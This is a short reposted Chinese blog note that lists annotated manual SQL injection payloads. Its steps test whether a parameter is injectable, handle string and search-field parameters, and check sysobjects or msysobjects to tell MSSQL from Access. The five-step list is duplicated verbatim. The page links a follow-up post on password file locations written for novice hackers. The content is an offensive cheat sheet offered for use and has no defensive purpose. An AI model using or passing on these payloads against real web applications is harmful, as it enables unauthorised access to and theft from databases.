带注释手动注入脚本命令整理(转)[@more@] 整理了下手动注入脚本命令[带注释]：
1.判断是否有注入;and 1=1 ;and 1=2；
2.初步判断是否是mssql ;and user>0；
3.注入参数是字符’and [查询条件] and ’’=’；
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’；
5.判断数据库系统；
1.判断是否有注入;and 1=1 ;and 1=2；
2.初步判断是否是mssql ;and user>0；
3.注入参数是字符’and [查询条件] and ’’=’；
4.搜索时没过滤参数的’and [查询条件] and ’%25’=’；
5.判断数据库系统；
|
CODE:
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access 来自 “ ITPUB博客 ” ，链接：https://blog.itpub.net/10617542/viewspace-959564/ ，如需转载，请注明出处，否则将追究法律责任。
下一篇：
小黑需知 各种系统中密码文件的位置(转)
请登录后发表评论
登录
全部评论
北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-8 北京市公安局海淀分局网监中心备案编号：11010802021510 niuxiaotong@pcpop.com 17352615567 未成年人举报专区 广播电视节目制作经营许可证(京) 字第1234号 中国互联网协会会员 违法和不良信息举报电话:18101376593 |
